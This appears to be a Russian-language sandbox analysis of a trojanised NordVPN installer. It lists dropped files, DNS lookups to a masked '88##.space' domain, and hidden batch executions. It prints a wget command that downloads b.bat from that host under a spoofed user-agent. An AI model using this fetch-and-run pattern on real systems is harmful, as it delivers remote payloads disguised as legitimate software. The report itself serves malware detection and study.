Техническая информация
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\$inst\2.tmp
- %TEMP%\ai_extui_bin_936\removico
- %TEMP%\ai_extui_bin_936\optionslogoicon
- %TEMP%\ai_extui_bin_936\info
- %TEMP%\ai_extui_bin_936\new
- %TEMP%\ai_extui_bin_936\custicon
- %TEMP%\ai_extui_bin_936\backgroundprepare
- %TEMP%\ai_extui_bin_936\runapplicationbutton
- %TEMP%\ai_extui_bin_936\repairic
- %TEMP%\ai_extui_bin_936\checkbox_for_ctrls
- %TEMP%\ai_extui_bin_936\sys_min_normal.png
- %TEMP%\ai_extui_bin_936\sys_min_inactive.png
- %TEMP%\ai_extui_bin_936\sys_min_hot.png
- %TEMP%\ai_extui_bin_936\sys_close_normal.png
- %TEMP%\ai_extui_bin_936\sys_close_inactive.png
- %TEMP%\ai_extui_bin_936\backgroundsurface
- %TEMP%\ai_extui_bin_936\modify.png
- %TEMP%\ai_extui_bin_936\print.png
- %TEMP%\ai_extui_bin_936\applogoicon
- %TEMP%\ai_extui_bin_936\prepareprereqdlgprogress.gif
- %TEMP%\ai_extui_bin_936\cmdlinkarrow
- %TEMP%\ai_extui_bin_936\viewer.exe
- %TEMP%\ai_extui_bin_936\lzmaextractor.dll
- %TEMP%\ai_extui_bin_936\prereqprogressimage.png
- %TEMP%\ai_extui_bin_936\aicustact.dll
- %TEMP%\ai_extui_bin_936\progressimage.png_1
- %TEMP%\ai_extui_bin_936\installerhelper.dll
- %TEMP%\ai_extui_bin_936\dotnetnativeimage.dll
- %TEMP%\ai_extui_bin_936\externaluicleaner.dll
- %TEMP%\ai_extui_bin_936\checkbox
- %TEMP%\ai_extui_bin_936\whitebackground
- %TEMP%\ai_extui_bin_936\waitlogoicon
- %TEMP%\ai_extui_bin_936\viewreadmebutton
- %TEMP%\ai_extui_bin_936\sys_close_hot.png
- %TEMP%\ai_extui_bin_936\completi
- %TEMP%\ai_extui_bin_936\sys_close_down.png
- %TEMP%\ai_extui_bin_936\exclamic
- %TEMP%\ai_extui_bin_936\printico
- %WINDIR%\wget\bin\wget.exe
- %TEMP%\msi450a.log
- %WINDIR%\temp\nordvpn\nordvpn 6.24.14\install\a387dab\nordvpn setup.msi
- %WINDIR%\temp\nordvpn\nordvpn 6.24.14\install\decoder.dll
- %TEMP%\$inst\0001.tmp
- %WINDIR%\set-up.exe
- %WINDIR%\curl\curl.exe
- %WINDIR%\wget\bin\libssl32.dll
- %TEMP%\msi8668.tmp
- %WINDIR%\wget\bin\libintl3.dll
- %WINDIR%\wget\bin\libiconv2.dll
- %WINDIR%\wget\bin\libeay32.dll
- %WINDIR%\s.txt
- %WINDIR%\a.bat
- %TEMP%\$inst\temp_0.tmp
- %TEMP%\ai_extui_bin_936\background
- %TEMP%\ai_extui_bin_936\up
- %TEMP%\msi86a8.tmp
- %TEMP%\ai_extui_bin_936\remove.png
- %TEMP%\msi83e7.tmp
- %TEMP%\ai_extui_bin_936\installlogoicon
- %TEMP%\ai_extui_bin_936\installbutton.png
- %TEMP%\ai_extui_bin_936\browse.png
- %TEMP%\ai_extui_bin_936\installbuttonblue.png
- %TEMP%\ai_extui_bin_936\buttonok.png
- %TEMP%\ai_extui_bin_936\buttonnext.png
- %TEMP%\ai_extui_bin_936\buttonback.png
- %TEMP%\ai_extui_bin_936\button.png
- %TEMP%\ai_extui_bin_936\installericon.png
- %TEMP%\ai_extui_bin_936\metrorunapplicationbutton
- %TEMP%\ai_extui_bin_936\insticon
- %TEMP%\ai_extui_bin_936\checkbox.png
- %TEMP%\ai_extui_bin_936\bg.png
- %TEMP%\ai_extui_bin_936\sys_min_down.png
- %TEMP%\ai_extui_bin_936\repair.png
- %WINDIR%\temp\nordvpn\nordvpn 6.24.14\install\check-kb3033929.bat
Удаляет следующие файлы
- %TEMP%\$inst\temp_0.tmp
- %TEMP%\$inst\0001.tmp
- %TEMP%\$inst\2.tmp
- %TEMP%\msi83e7.tmp
- %TEMP%\msi8668.tmp
- %TEMP%\msi86a8.tmp
Сетевая активность
UDP
- DNS ASK 88##.space
- DNS ASK download.visualstudio.microsoft.com
Другое
Создает и запускает на исполнение
- '%WINDIR%\set-up.exe'
- '%WINDIR%\wget\bin\wget.exe' -c -P "%WINDIR%" "http://88##.space/rs/st/b.bat" --referer="alpha" --user-agent="nordvpn"
- '%WINDIR%\syswow64\cmd.exe' /c ""%WINDIR%\a.bat" "' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c ""%WINDIR%\Temp\NordVPN\NordVPN 6.24.14\install\check-KB3033929.bat" "' (со скрытым окном)
Запускает на исполнение
- '%WINDIR%\syswow64\cmd.exe' /c ""%WINDIR%\a.bat" "
- '%WINDIR%\syswow64\cmd.exe' /S /D /c" ver "
- '%WINDIR%\syswow64\findstr.exe' /IL "5.1."
- '%WINDIR%\syswow64\cmd.exe' /c ""%WINDIR%\Temp\NordVPN\NordVPN 6.24.14\install\check-KB3033929.bat" "
- '%WINDIR%\syswow64\wbem\wmic.exe' qfe where "HotFixID = 'KB3033929'"
- '%WINDIR%\syswow64\find.exe' "KB3033929"
